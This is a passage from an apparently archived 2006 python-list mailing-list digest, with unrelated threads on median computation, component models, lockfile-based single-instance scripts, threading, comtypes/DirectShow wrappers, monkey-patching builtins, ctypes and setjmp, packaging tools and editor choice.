>         return newlist[index]
>     else:
>         return (newlist[index] + newlist[index-1]) / 2.0
>
> If you can use Psyco and your FITS lines are really long (well, maybe
> too much, the treshold if about >~3000 in my PC) you can use something
> like this instead the builtin timsort:
> http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/466330
> (To compute the median on a image line the median that uses sort is
> probably better in most cases, expecially if you use the built in sort
> of numerical libraries.)
>
> Bye,
> bearophile

partial bucket sort with quicksort of individual bucket needed for
index list.

APL would be fast, try a solution in J

it calculates need on demand i think, and so the calculation dependance
tree only does the one quicksort on the bucket needed, or both if on a
bucket boundry, but this can be avoided with clever bucket selection.

cheers



From ms at cerenity.org  Mon Oct  9 20:41:52 2006
From: ms at cerenity.org (Michael)
Date: Tue, 10 Oct 2006 01:41:52 +0100
Subject: Python component model
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
Message-ID: <452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net>

Edward Diener No Spam wrote:

> Has there ever been, or is there presently anybody, in the Python
> developer community who sees the same need and is working toward that
> goal of a common component model in Python, blessed and encouraged by
> those who maintain the Python language and standard modules themselves ?

Someone aiming towards a standard to /replace/ everyone else's? That
presupposes a level of arrogance that seems unusual in the python world.
(whilst everyone's proud of their own code and they _generally_ respect
other people's even if it's not their cup of tea).

The WSGI standard could be a form of component model, and has gone through
the PEP process so that might match your criterion. As for component
models, they do exist.

Our component model on the Kamaelia project [1] is one that's heavily
designed around the idea of composition and independent execution of
components and message passing (message passing maps to events for some
sorts of message), 
   [1] http://kamaelia.sourceforge.net/Home

I wouldn't think of proposing it as the single standard to rule them all
though, for the simple reason every approach has its own strengths. (We do
find the approach extremely useful though)

If you want a quick example of the core ideas, a tutorial aimed around
building a massively simplified core is here:
   http://kamaelia.sourceforge.net/MiniAxon/

If you want to see a substantial example, you can look here:
   * http://tinyurl.com/oqjfb - whiteboarding with audio where every client
     is a server. The entire resulting system is also a component.

For something more simplistic:
   * http://kamaelia.sourceforge.net/Examples/SimplestPresentationTool.html

Something halfway in terms of complexity (a PVR for transcoding everything
broadcast on digital TV):
   * http://tinyurl.com/lvygq
     (OK, you need to add more channels, but you'd need more CPU's too)

We also have tools for introspecting a running system, and also a visual
composition tool (called Compose) [2] for creating simple systems
graphically, and that, as you say, handles a significant chunk of
dreariness. Suggestions on improving the model and composition tool are
very welcome, code is even more welcome :)

   [2] Sample system created with the newest version of Compose:
          http://tinyurl.com/numwk
       Compose is also a Kamaelia system, and can be found here:
          http://tinyurl.com/p7z76
       (bulk of the wiring up is in the bottom of the file - this is an
       interesting example because of the use of Pygame and Tk for different
       parts of the interface where appropriate)


However, off the top of my head, you should also look at Zope's component
model, Trac's component model, Twisted's model & PEAK, and any proposal
to say "this is the solution", needs to be compelling for all of these
projects. 

Note, they do change where there's a benefit - twisted adopted some
interesting ideas from Zope for example - however the onus on showing the
benefit is on you. (Which if you can do, would be welcome I would expect)
One thing that would probably be very useful would be to identify a way the
various models these projects use can be made to interact better.

The reason I mention //our// model is because we're finding it useful, and
has visual composition, introspection and components have a rich amount of
meta data associated with them, this may or may not fit your criterion.

One of the most "bling" examples we've got right now though (which I
mentioned mainly because it does show reuse up quite nicely) is where we
play Dirac encoded video back onto a pygame surface and then render that
onto a texture that's on a plane spinning in 3D (in realtime):
   * Code: http://tinyurl.com/oynxv
   * Screenshot: http://kamaelia.sourceforge.net/t/Dirac3D.png

I've uploaded a collection of other screenshots of various kamaelia related
things here:
   * http://kamaelia.sourceforge.net/screenshots/

You may find the following interesting:
   * http://kamaelia.sourceforge.net/screenshots/Compose.png
   * http://kamaelia.sourceforge.net/screenshots/KamaeliaOpenGL.png (example
     of putting components in places they don't realise)
   * http://kamaelia.sourceforge.net/screenshots/AxonVisualiser.png

Regards,


Michael.
--
Kamaelia Project Lead
http://kamaelia.sourceforge.net/Home
http://yeoldeclue.com/blog



From bretthoerner at gmail.com  Tue Oct 17 15:32:21 2006
From: bretthoerner at gmail.com (Brett Hoerner)
Date: 17 Oct 2006 12:32:21 -0700
Subject: why should dict not be callable?
In-Reply-To: <1161113146.541464.80890@i3g2000cwc.googlegroups.com>
References: <1161113146.541464.80890@i3g2000cwc.googlegroups.com>
Message-ID: <1161113541.178956.310520@k70g2000cwa.googlegroups.com>

georgeryo... at gmail.com wrote:
> A couple of times recently I've come across this problem:  I have a
> large list to sort and I need to the the "key=function" argument to
> sort appropriately.  But I actually have the key mapping in a big
> dictionary.

Is this what you mean?  I suppose the lambda is an "intermediary
function" ... but meh...

l = ['bob', 'dog', 'cat', 'apple']
d = {'bob': 7, 'dog': 0, 'cat': 14, 'apple': 3}

l.sort(lambda x,y: d[x] - d[y])

print l
['dog', 'apple', 'bob', 'cat']



From frank at chagford.com  Mon Oct 30 07:22:33 2006
From: frank at chagford.com (Frank Millman)
Date: 30 Oct 2006 04:22:33 -0800
Subject: wxFrame don't have Bind attribute ??
In-Reply-To: <1162210087.255048.145730@m73g2000cwd.googlegroups.com>
References: <1162189869.503325.51280@b28g2000cwb.googlegroups.com>
	<mailman.1480.1162205808.11739.python-list@python.org>
	<1162206945.246107.122390@h48g2000cwc.googlegroups.com>
	<1162207693.058720.137580@i42g2000cwa.googlegroups.com>
	<1162210087.255048.145730@m73g2000cwd.googlegroups.com>
Message-ID: <1162210952.986867.175530@k70g2000cwa.googlegroups.com>


Jia Lu wrote:
> Frank Millman ??????:
> > This works perfectly for me, using wxPython 2.6.3.2, on both Linux and
> > Windows.
> >
> > What platform are you using?
> Yes this works OK for me too on my FedoraCore 5, but cannot work on my
> FedoraCore 6...

Then it is probably an installation problem, which I doubt if I can
help with. However, if you can answer the following questions, someone
else may be able to assist -

1. What is the exact error message?

2. Which version of wxPython are you using?

3. How did you install wxPython - by compiling from source, or by
installing an rpm? I don't think there are any FC6 rpm's available yet.

If you don't get an answer here, ask on the wxPython mailing list -
    wxPython-users at lists.wxwidgets.org

Frank



From hpsekhon at googlemail.com  Mon Oct  2 13:28:41 2006
From: hpsekhon at googlemail.com (Hari Sekhon)
Date: Mon, 02 Oct 2006 18:28:41 +0100
Subject: Making sure script only runs once instance at a time.
In-Reply-To: <efrgdo$38q$1@sea.gmane.org>
References: <mailman.801.1159372327.10491.python-list@python.org>	<1159531181.314800.224180@k70g2000cwa.googlegroups.com>	<mailman.936.1159535264.10491.python-list@python.org>	<7xk63mpzwr.fsf@ruckus.brouhaha.com>	<451D25A3.7010803@googlemail.com>	<efjbhh$d9m$1@sea.gmane.org>	<4520E5E1.3040409@googlemail.com>
	<efrgdo$38q$1@sea.gmane.org>
Message-ID: <45214C49.50701@googlemail.com>

The name thing is taken care of by the fact that I use the path not just 
the script name. The path appears in the command and then is grepped out 
by that criteria, so if there was another program with the same name and 
in a different path then it would not affect it.

Of course this is defeatable now I think about it if both programs are 
called the same thing and both are run as ./program_name. I could use 
the args to test too but this is also defeatable if being pedantic, and 
I don't want to compound any errors, I'm sure I do that enough without 
trying...

So I guess we come back to using the pids in the lockfiles as you 
suggested and test against those.

I was thinking that I could just adjust it to find the pid of the 
program by location of the program on the filesystem and if there is a 
pid for the program then there is a running instance of this exact 
program in  that directory. This would bypass the lockfile thing again 
but I've just tested this and it doesn't work, the pid will be found for 
python but not for the python program so it breaks this - dang, that was 
a very nice thing to do with binaries, I guess it just won't work with 
python in the same way (or any other interpreted language I expect).

I like your method too, it's very pythonic. I'm still weening off bash a 
bit as you can tell...

I guess there is no escaping the lockfile at this stage unless I can 
think of something else...

I may rewrite safety to use your lockfile with pid embedded. I've 
actually used a very similar method in bash before for something, saving 
the pid and env vars and then using the binary kill -0 <pid> to test if 
a program is alive by finding out whether a signal could be sent to it. 
Works nicely there too.

-h

Hari Sekhon



Fredrik Lundh wrote:
> Hari Sekhon wrote:
>
>   
>> How exactly do you check that the pid is still active in python? Is 
>> there a library or something that will allow me to manipulate system 
>> processes and listings etc the way everybody does in unix shells....
>>     
>
> by passing zero to the os.kill primitive:
>
> 	os.kill(pid, 0)
>
> if this raises an OSError, there's no active process with the given pid.
>
>   
>> I'm a huge fan of shell so I've done my own thing which leans on shell 
>> as follows:
>>
>> import sys,commands,os
>>
>> scriptpath = sys.argv[0]
>> scriptname = os.path.basename(scriptpath)
>>
>> number_procs=commands.getstatusoutput('ps -ef|grep %s|grep -v grep|wc 
>> -l' % scriptpath)
>>
>> if number_procs > 1:
>>     print "There appears to be another %s process running." % scriptname
>>     
>
> what if you have commands with overlapping names (e.g. "bar.py" and 
> "foobar.py"), or some other user on the machine happens to run a
> command that, on purpose or by accident, contains your script's name 
> (e.g. "emacs mybar.py") ?
>
> </F>
>
>   
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From fredrik at pythonware.com  Thu Oct 19 02:45:34 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 19 Oct 2006 08:45:34 +0200
Subject: Cannot import a module from a variable
In-Reply-To: <eh6llc$gsg$1@enyo.uwa.edu.au>
References: <1160920129.886155.112970@b28g2000cwb.googlegroups.com>
	<eh6llc$gsg$1@enyo.uwa.edu.au>
Message-ID: <eh76ul$tlb$1@sea.gmane.org>

Cameron Walsh wrote:

> Woah, that actually works?  Having the "finally" after the "return"?
> That could make some things easier, and some things harder...

The whole point of having a clean-up handler is to make sure it runs no 
matter what:

    When a return, break or continue statement is executed in the
    try suite of a try-finally statement, the finally clause is also
    executed "on the way out".

    http://pyref.infogami.com/try

</F>



From john106henry at hotmail.com  Thu Oct 19 00:25:00 2006
From: john106henry at hotmail.com (John Henry)
Date: 18 Oct 2006 21:25:00 -0700
Subject: Converting existing module/objects to threads
In-Reply-To: <1161219746.574285.188930@m7g2000cwm.googlegroups.com>
References: <1161219746.574285.188930@m7g2000cwm.googlegroups.com>
Message-ID: <1161231900.560348.76190@b28g2000cwb.googlegroups.com>

Making your code run in thread mode isn't the hard part.  Just add
this:

import 	threading

class subcontrollerThread(threading.Thread, subcontroller):
	def __init__(self,id,configurationFile):
		threading.Thread.__init__(self)
		subcontroller.__init__(self,id,configurationFile)
	def run(self):
		self.process()

threads=[]
# Say we have 5 of the subprocesses
for iThread in range(5):
	th=subcontrollerThread(iThread,configurationFile)
	threads.append(th)
	th.start()

...main thread do whatever...


However, you have to make sure the code inside subcontroller is thread
safe.  That's a topic in itself.


jdlists at gmail.com wrote:
> I have inheirted some existing code, that i will explain in a moment,
> have needed to extend and ultimately should be able to run in threads.
> I've done a bunch of work with python but very little with threads and
> am looking for some pointers on how to implement, and if the lower
> level modules/objects need to be rewritten to use threading.local for
> all local variables.
>
> I have a module that communicates with a hardware device, which reads
> data off of sensors, that can only talk with one controller at a time.
> The controller (my module) needs to (in its simplest form) init,
> configure the device, request data, and write out xml, sleep, repeat.
>
> The new request is that the device needs to be queried until a
> condition is true, and then start requesting data.  So an instance of a
> controller needs to be deadicated to a hardware device forever, or
> until the program ends....which ever comes first.
>
> This currently works in a non-threaded version, but only for one device
> at a time, there is a need to create a single windows(yeach) service
> that talks to many of these devices at once.  I don't need worker
> threads that handle seperate portions of the entire job, i need a
> single application to spawn multiple processes to run through the
> entire communication from configure to report, sleep until the next
> interval time and run again.  The communication could last from 1
> minute to 10 minutes before it ends.
>
>
>   Here is the code layout in pseudocode.
>
> module.Object - controller.Main - handles all socket communications
>
> class subcontroller(controller.Main):
>   def __init__(self,id,configurationFile):
>    controller.Main.__init__(self)
>    // instantiate variables and local objects that handle
> configuration, logic and data output
>
>   def configure(self,configurationFile):
>     //read configurationFile and configure device
>
>   def process(self):
>     while 1:
>       //based on configuration file, query the device until condition
> is true and then write xml, sleep until time to repeat and run again.
>
> within controller there are 5 objects and subcontroller is a sinlge
> object that loads other objects from the inherited controller.System
>
> I'm trying to figure out how difficult it is going to be to convert
> this to a threaded application.  The original controller.Main is built
> to talk to devices in series, never in parallel. so no objects are
> considered to be thread safe, but no instance of any of the objects
> should need to share resources with any other instance of teh same
> object.  they would all have unique configuration files and talk to
> devices on unique ip/ports.
>
> on a unix system, forking,while potentially not optimal, would be a
> fine solution, unfortunantely this needs to run on windows.
>
> I know i have left out many details, but hopefully this is enough to at
> least enable some kind soles to lend an opinnion or two.
> 
> many thanks
> jd



From steve at holdenweb.com  Thu Oct  5 14:24:04 2006
From: steve at holdenweb.com (Steve Holden)
Date: Thu, 05 Oct 2006 19:24:04 +0100
Subject: Subclassing built-in classes
In-Reply-To: <200610051700.00482.maric@aristote.info>
References: <1160048997.394218.3760@c28g2000cwb.googlegroups.com>	<200610051441.54455.maric@aristote.info>	<eg32kd$6tt$1@sea.gmane.org>
	<200610051700.00482.maric@aristote.info>
Message-ID: <eg3iid$ada$1@sea.gmane.org>

Maric Michaud wrote:
> Le jeudi 05 octobre 2006 15:52, Steve Holden a ?crit :
> 
>>>But what prevents to interpret literals as a call to __builtins__ objects
>>>and functions ? optimization ? what else ?
>>
>>
>>When are literals interpreted? During translation into bytecode.
> 
> 
> agreed, but what's the problem with this ?
> 
> We can actually monkey patch all buitins like in this example :
> 
> In [1]: oldstr=str
> 
> In [2]: class mystr(str) :
>    ...:     def __new__(*a, **kw) :
>    ...:         print 'called : ', a, kw
>    ...:         return oldstr.__new__(*a, **kw)
>    ...:
>    ...:
> 
> In [3]: import __builtin__
> 
> In [4]: __builtin__.str = mystr
> called :  (<class '__main__.mystr'>, <ItplNS 'In 
> [${self.cache.prompt_count}]: ' >) {}
> called :  (<class '__main__.mystr'>, 5) {}
> ....
> 
> 
> If the generated bytecode of {k:v} is more or less the same as the one 
> gernerated by dict(((k,v))), monkey patching dict will work for dict literals 
> too.
> 
> Also, this should work with scalars,  'a string' be translated in what 
> actually is produced by str('a string') (of course the internal code for 
> building scalars should still be there).
> 
> If that is feasible without big refactoring and do not introduce noticeable 
> performance loss is what I don't know, but it could be a nice feature of 
> __builtin__ module IMO (at less I expected it to work like this when I first 
> tried it).
> 
C:\Steve\Projects\tgtest>python
Python 2.4.2 (#67, Sep 28 2005, 12:41:11) [MSC v.1310 32 bit (Intel)] on 
win32
Type "help", "copyright", "credits" or "license" for more information.
Started with C:/Steve/.pythonrc
  >>> myString = "This is a string and it always will be"
  >>> oldstr = str
  >>> class mystr(oldstr):
  ...   def __new__(*a, **kw):
  ...     print "called:", a, kw
  ...
  >>> import __builtin__
  >>> __builtin__.str = mystr
  >>>
Readline internal error
Traceback (most recent call last):
   File "C:\Python24\lib\site-packages\readline\Console.py", line 644, 
in hook_wrapper_23
     raise TypeError, 'readline must return a string.'
called: (<class '__main__.mystr'>, <exceptions.TypeError instance at 
0x00B3E2B0>
) {}
called: (<class '__main__.mystr'>, 'TypeError') {}
None
  >>> type(myString)
Readline internal error
Traceback (most recent call last):
   File "C:\Python24\lib\site-packages\readline\Console.py", line 644, 
in hook_wrapper_23
     raise TypeError, 'readline must return a string.'
called: (<class '__main__.mystr'>, <exceptions.TypeError instance at 
0x00B4D288>
) {}
called: (<class '__main__.mystr'>, 'TypeError') {}
None
  >>>

Seems like there might be a few glitches to debug still ... or perhaps 
it's my fault for using readline? Let's try under Cygwin as a program:

sholden at bigboy ~/Projects/Python
$ cat test39.py
myStr = "This is a string and it alwyas will be"

oldstr=str

class mystr(str) :
     def __new__(*a, **kw) :
         print 'called : ', a, kw
         return oldstr.__new__(*a, **kw)

import __builtin__

__builtin__.str = mystr

print type(myStr)
newStr = "This is another string and it always will be"
print type(newStr)
strStr = str(newStr)
print type(strStr)

sholden at bigboy ~/Projects/Python
$ python test39.py
<type 'str'>
<type 'str'>
called :  (<class '__main__.mystr'>, 'This is another string and it 
always will be') {}
<class '__main__.mystr'>

So, what are you trying to say? The type of the literal strings is 
clearly just what it always was. Where, when and how exactly does this 
magical monkey patch affect literals?

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From tinodb at gmail.com  Wed Oct 25 18:14:14 2006
From: tinodb at gmail.com (TiNo)
Date: Thu, 26 Oct 2006 00:14:14 +0200
Subject: Getting a lot of SPAM from this list
In-Reply-To: <7xbqo10yik.fsf@ruckus.brouhaha.com>
References: <UeSdnWGhrcr6iaDYnZ2dnUVZ_s2dnZ2d@comcast.com>
	<7.0.1.0.0.20061023175044.05c75ec8@yahoo.com.ar>
	<17725.12208.931743.88672@montanaro.dyndns.org>
	<mailman.1140.1161752151.11739.python-list@python.org>
	<7xbqo10yik.fsf@ruckus.brouhaha.com>
Message-ID: <435b46e50610251514i337e07bdsd42b62bf5a2e3b@mail.gmail.com>

How do you send and receive this email?

24 Oct 2006 22:12:35 -0700, Paul Rubin <"http://phr.cx"@nospam.invalid>:
>
>
> I've given up on email pretty much.  I no longer have a public email
> address of any type.  I just give out a URL (including on my resume,
> business cards, etc), which leads to a HTTPS contact form.  It's been
> quite reliable and I get very little spam that way.
> --
> http://mail.python.org/mailman/listinfo/python-list
>
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From isaac.rodriguez at comcast.net  Wed Oct 11 15:03:32 2006
From: isaac.rodriguez at comcast.net (Isaac Rodriguez)
Date: 11 Oct 2006 12:03:32 -0700
Subject: Experiences with Py2Exe
In-Reply-To: <452cf765$1@news.vo.lu>
References: <1160574156.861514.327390@i42g2000cwa.googlegroups.com>
	<452cf765$1@news.vo.lu>
Message-ID: <1160593412.770417.21010@i42g2000cwa.googlegroups.com>


>
> I did a project with wxPython and py2exe. Just great :-) I also used
> Inno Setup (http://www.jrsoftware.org/isinfo.php) to create an
> installer. You should be able to learn/use both in one day.
>

Do you have a specific reason for using Inno Setup and not a Windows
Installer based setup? Will Inno Setup play especially well with py3exe
or was it just the learning curve of using a Windows Installer setup?

I am asking this because I have a lot of experience using the Windows
Installer service, and I also have all the productivity tools available
to create an installer for my tools if I needed to, but now I am
curious about this Inno Setup.

Thanks,

Isaac.



From winkatl1213 at yahoo.com  Thu Oct  5 12:41:19 2006
From: winkatl1213 at yahoo.com (winkatl1213 at yahoo.com)
Date: 5 Oct 2006 09:41:19 -0700
Subject: Getting a ValueError with comtypes
In-Reply-To: <mailman.1359.1160062734.10491.python-list@python.org>
References: <1160058359.839402.3600@k70g2000cwa.googlegroups.com>
	<mailman.1359.1160062734.10491.python-list@python.org>
Message-ID: <1160066479.412632.171310@c28g2000cwb.googlegroups.com>

Thomas,

Thanks a ton for the quick response.

I called GetModule('quartz.dll'), and now I can at least call
IMediaControl::Run.  I get another error, but that's my problem (I
don't have the graph set correctly yet).

You mentioned that you sometimes create a type library for creating the
interface wrappers.

Would you mind sharing with me how you do this?

I seem to recall a thread on ctypes-users where you were looking for a
method to do this.  I can't seem to locate what you conclusion was.

By the way, I've been using ctypes and comtypes quite a bit lately, and
I just wanted to say that they are both excellent.

Now if only I had an equivalent way to access C++ dlls, I'd no longer
have to write typemaps in SWIG.

While I'm at it, I thought I would ask you a separate completely
unrelated question.

I have a C++ library wrapped with SWIG.  One member function takes a
void* to a buffer.

I want to allocate this buffer using ctypes and pass it to my SWIG
wrapper, but I've been struggling to get it to work.

I tried passing in the addressof, and then casting it back in my SWIG
wrapper, but this doesn't work.  Do you have any suggestions on this?

I've also thought about using a numpy array, since this is supported in
both SWIG and ctypes.

Thanks again for your help.,

Jeff

Thomas Heller wrote:
> winkatl1213 at yahoo.com schrieb:
> > Hello,
> >
> > I am working with comtypes to interface Microsoft's DirectShow library.
>
> Cool, another one using comtypes!
>
> > First, I found a Type Library on the internet that was created for
> > accessing DirectShow from .NET.  It seems that DirectShow only comes
> > with IDL files and no type library.
>
> What I sometimes do is to compile the IDL files into a typelib just
> for creating the comtypes interface wrappers.  This may be somewhat
> dangerous because these typelibs should *not* be registered by accident,
> so that they do not conflict with other typelibs.
>
> Then, I found out with oleview that on my system the IMediaControl interface
> is described in the 'ActiveMovie control type library (Ver 1.0)',
> in c:\windows\system32\quartz.dll.  So I was able to create the wrapper
> by calling comtypes.client.GetModule("quartz.dll") - it seems that windows
> searches the $PATH to find type libraries.
>
> > This got me started.
> >
> > The following line imports the typelibrary and automatically generates
> > a wrapper module for DirectShow.
> >
> > ds = comtypes.client.GetModule('DirectShow.tlb')
> >
> > Next, I can basically start with something like this:
> >
> > graph = comtypes.CoCreateInstance(CLSID_FilterGraph, ds.IGraphBuilder,
> > comtypes.CLSCTX_INPROC_SERVER)
> >
> > I had to create the CLSID_FilterGraph parameter myself by doing the
> > following:
> >
> > CLSID_FilterGraph =
> > comtypes.GUID('{e436ebb3-524f-11ce-9f53-0020af0ba770}')
> >
> > One of the first issues I ran into was that the type library I found on
> > the web didn't expose the IMediaControl interface.  So, using the
> > generated wrapper as a template, I created my own wrapper:
> >
> > class IMediaControl(comtypes.IUnknown):
> >     _case_insensitive_ = True
> >     _iid_ = comtypes.GUID('{56A868B1-0AD4-11CE-B03A-0020AF0BA770}')
> >     _idlflags_ = []
> > IMediaControl._methods_ = [
> >     COMMETHOD([], HRESULT, 'Run'),
> >     COMMETHOD([], HRESULT, 'Pause'),
> >     COMMETHOD([], HRESULT, 'Stop'),
> >     COMMETHOD([], HRESULT, 'StopWhenReady'),
> >     COMMETHOD([], HRESULT, 'GetState',
> >               (['in'], c_long, 'msTimeout'),
> >               (['out'], POINTER(c_int), 'pfs' ))
> > ]
> >
> > This got me further.  Once I defined the interface, I get access to the
> > interface by calling:
> >
> > control = graph.QueryInterface(IMediaControl)
> >
> > This seemed to work.  Once I got everything setup, I tried to use this
> > interface.  For example:
> >
> > control.Run()
> >
> > This generates an exception:
> >
> > Traceback (most recent call last):
> >   File "<stdin>", line 1, in ?
> >   File "ds.py", line 462, in play
> >     control.Run()
> > ValueError: Procedure probably called with not enough arguments (4
> > bytes missing)
> >
> > You can get errors like this when using ctypes if you use the wrong
> > calling convention (CDLL versus WINDLL).
> >
> > The method "Run" on the IMediaControl interface doesn't take any
> > arguments.
> >
> > I did notice that some wrapper code uses STDMETHOD versus COMMETHOD,
> > but changing this didn't make any difference.
> >
> > Can anyone explain what might be happening here, or offer some
> > suggestions?
>
> Your mistake here is that IMediaControl derives from IDispatch, not IUnknown.
> So, control.Run() really calls the first IDispatch method, which is
> GetTypeInfoCount(), which takes one argument ;-).
>
> I'm not 100% sure the following code will work for you because I'm using
> a comtypes version that's not yet committed to the repository, but it works
> for me:
>
> from comtypes.client import GetModule, CreateObject
>
> # create and import the interface wrapper
> ds = GetModule("quartz.dll")
>
> # FilgraphManager is what the wrapper shows as coclass,
> # you can pass that to CreateObject instead of a CLSID or ProgID.
> # CreateObject calls QueryInterface for the 'most useful' interface,
> # so usually there's no need to specify the interface you want:
> fg = CreateObject(ds.FilgraphManager)
> 
> # this prints '0'
> print fg.Run()
> 
> Thomas



From grahamd at dscpl.com.au  Mon Oct 23 19:00:25 2006
From: grahamd at dscpl.com.au (grahamd at dscpl.com.au)
Date: 23 Oct 2006 16:00:25 -0700
Subject: HTML Templates (Sitemesh/Tiles concept) in Python
In-Reply-To: <1161627774.471594.223360@m7g2000cwm.googlegroups.com>
References: <1161618598.598300.127970@m73g2000cwd.googlegroups.com>
	<453d02a7$0$15559$426a34cc@news.free.fr>
	<1161627774.471594.223360@m7g2000cwm.googlegroups.com>
Message-ID: <1161644425.570765.68680@h48g2000cwc.googlegroups.com>

Suren wrote:
> > Python with ? CGI ? FastCGI ? mod_python ? Other ?
>
> We are using mod_python and SSI. We are inheriting some legacy code
> that we do not want to mess with at all.

If you are already using SSI for basic page composition using 'include
virtual', it may be of interest for you to know that upcoming
mod_python 3.3 supports use of Python code directly with SSI. For
details see:


http://www.dscpl.com.au/wiki/ModPython/Articles/BasicsOfServerSideIncludes

To use this feature now, you would have to use latest mod_python code
base out of Subversion repository though. We are just tidying up last
few issues for 3.3, so code is more than usable at this point.

There is an example in the article about how the new feature can be
used for adding header, footers etc.

Graham



From dingbat at codesmiths.com  Thu Oct  5 06:14:04 2006
From: dingbat at codesmiths.com (Andy Dingley)
Date: 5 Oct 2006 03:14:04 -0700
Subject: Where is Python in the scheme of things?
In-Reply-To: <I4GdnY3G96ZZirnYnZ2dnUVZ_uidnZ2d@magma.ca>
References: <I4GdnY3G96ZZirnYnZ2dnUVZ_uidnZ2d@magma.ca>
Message-ID: <1160043244.427729.238690@i3g2000cwc.googlegroups.com>


gord wrote:

> As a complete novice in the study of Python, I am asking myself where this
> language is superior or better suited than others.

I use it, and see it primarily, as a Perl killer. It also does for Ruby
and our infernal shell scripts.

I've never considered using Python instead of VB. As a VB developer of
many years, I'd see thhe Python language itself as infinitely superior
to VB in almost every aspect, except that of building event driven
Windows GUIs with easy form layout. Maybe there's some wonderful Python
toolkit for doing this, but it's news to me.

I'm undecided as to whether Python beats JSP for web development. So
far I'm still inclined to Java, but that's probably because I know Java
and Java has a huge amount of "beyond Java the language" development
attached to it for web work.



From richardjones at optushome.com.au  Fri Oct  6 23:19:34 2006
From: richardjones at optushome.com.au (Richard Jones)
Date: Sat, 07 Oct 2006 13:19:34 +1000
Subject: ctypes and setjmp
References: <45259596$0$32011$afc38c87@news.optusnet.com.au>
	<eg69uq$svt$1@sea.gmane.org>
	<mailman.1479.1160182249.10491.python-list@python.org>
Message-ID: <45271cc6$0$11973$afc38c87@news.optusnet.com.au>

Gabriel Genellina wrote:
> At Friday 6/10/2006 16:14, Thomas Heller wrote:
>>For ctypes, the only solution I can think of is to invent a new calling
>>convention, which will call setjmp() first internally before calling the
>>libpng api function...
> 
> May be reasonable - a non-zero in setjmp would raise a Python
> exception. But perhaps a new calling convention is not needed: as you
> need a way to indicate *which* argument is the jmp_buf, just a new
> argument type would suffice. If you encounter one such thing in the
> function.argtypes list, that means a setjmp is needed before calling
> the actual function.

The ctypes C code which handles invoking the foreign function call must be
responsible for calling setjmp(). You can't call that in Python code - the
C stack is manipulated all over the place for each line of Python code
executed. You have to both call and set the jmp_buf in the same C code call
from Python.

Thus my suggestion of configuring a handler function on the foreign function
wrapper object alongside the argtypes and restype. If one is defined then
ctypes automatically calls setjmp and passes control to that handler
function if setjmp returns non-zero.

This page:

  http://www.massey.ac.nz/~mgwalker/misc/create-images.html

has some example programs that show setjmp/longjmp in action. Read the whole
thing as his first examples aren't correct :)


    Richard



From ath-admin at vt.edu  Tue Oct 17 16:04:38 2006
From: ath-admin at vt.edu (rick)
Date: Tue, 17 Oct 2006 16:04:38 -0400
Subject: block devices
Message-ID: <eh3da0$kdc$1@solaris.cc.vt.edu>

What's the best way to read a byte of data directly from a block device 
(a scsi hard drive) on Linux using Python?


From dustin at v.igoro.us  Thu Oct 19 11:46:27 2006
From: dustin at v.igoro.us (Dustin J. Mitchell)
Date: Thu, 19 Oct 2006 10:46:27 -0500
Subject: Dictionaries again - where do I make a mistake?
In-Reply-To: <1161272376.402525.188810@k70g2000cwa.googlegroups.com>
References: <1161272376.402525.188810@k70g2000cwa.googlegroups.com>
Message-ID: <45379DD3.7030707@v.igoro.us>

Lad wrote:
> Sorting seems to be OK,.
> the command
> print key,val
> prints the proper values
>  but I can not create Newdict to be sorted properly.
> 
> Where do I make a mistake?
> Thank you for help.

Dictionaries are unordered -- the order in which items come out is
unspecified.  It's based on the details of their internal storage mechanism (a
hash table), and you can't control it at all.

If you need your pairs in a certain order, you'll have to use a list of tuples.

Dustin


From gerrit at nl.linux.org  Tue Oct 10 08:39:47 2006
From: gerrit at nl.linux.org (Gerrit Holl)
Date: Tue, 10 Oct 2006 14:39:47 +0200
Subject: Using Gnutar to remove a list of files
In-Reply-To: <1160483644.216310.249760@m73g2000cwd.googlegroups.com>
References: <1160483644.216310.249760@m73g2000cwd.googlegroups.com>
Message-ID: <20061010123947.GA18140@topjaklont.student.utwente.nl>

On 2006-10-10 14:35:30 +0200, cmacn024 at uottawa.ca wrote:
> Hi folks, I've got a question for yas.  I'm trying to write code that
> will open up a gzipped tar file using gnutar, and copy the list of
> files(including their directories) to a list variable in python.  From
> there, I want to go through the list and delete those files from my
> system.  That part is easy, but what I'm stuck on is getting the list
> of files in an archive into a list variable.  If I use the -t parameter
> in gnutar, it prints a list of the files in a seperate cmd screen, but
> only returns 0.  Is there any way to make it return a list, or to copy
> the information over?  Thanks in advance!

Use the commands module.
Or tarfile of course.

http://docs.python.org/lib/module-commands.html
http://docs.python.org/lib/module-tarfile.html

Gerrit.


From sjdevnull at yahoo.com  Sun Oct 29 04:28:08 2006
From: sjdevnull at yahoo.com (sjdevnull at yahoo.com)
Date: 29 Oct 2006 01:28:08 -0800
Subject: [OT] What's the best IDE?
In-Reply-To: <mailman.1421.1162098060.11739.python-list@python.org>
References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com>
	<1161976496.903281.302940@i42g2000cwa.googlegroups.com>
	<624934630610271409h7a2dc2a0o8c12f7d1b11a21ad@mail.gmail.com>
	<mailman.1421.1162098060.11739.python-list@python.org>
Message-ID: <1162114088.460947.284740@m7g2000cwm.googlegroups.com>

Theerasak Photha wrote:
> I've used Emacs for a long time, but I think I might be going back to
> Vim 7.0 now that they improved the scripting functionality with *real*
> arrays and dicts.

I've been writing all my extensions in python rather than vimscript for
several releases (occasionally it requires some elbow grease, e.g. I
submitted the fixes to let the python interface call functions
returning vim lists/dicts).

> I hate to appeal to popularity, but Vim's
> greater popularity also contributes to higher quality in a number of
> cases

I'd guess emacs is at least a base-10 order of magnitude more popular
than vim for real development (excluding simple "it's already
installed" basic sysadmin stuff); emacs passed vi c. 1990 and hasn't
looked back.

I say that as a hardcore vim user--getting used to modality really
isn't for everyone, though once you do the payoff is high.



From pinkfloydhomer at gmail.com  Mon Oct 30 06:35:57 2006
From: pinkfloydhomer at gmail.com (pinkfloydhomer at gmail.com)
Date: 30 Oct 2006 03:35:57 -0800
Subject: Easy PIL Question?
In-Reply-To: <mailman.1476.1162205039.11739.python-list@python.org>
References: <1162204777.208562.220740@f16g2000cwb.googlegroups.com>
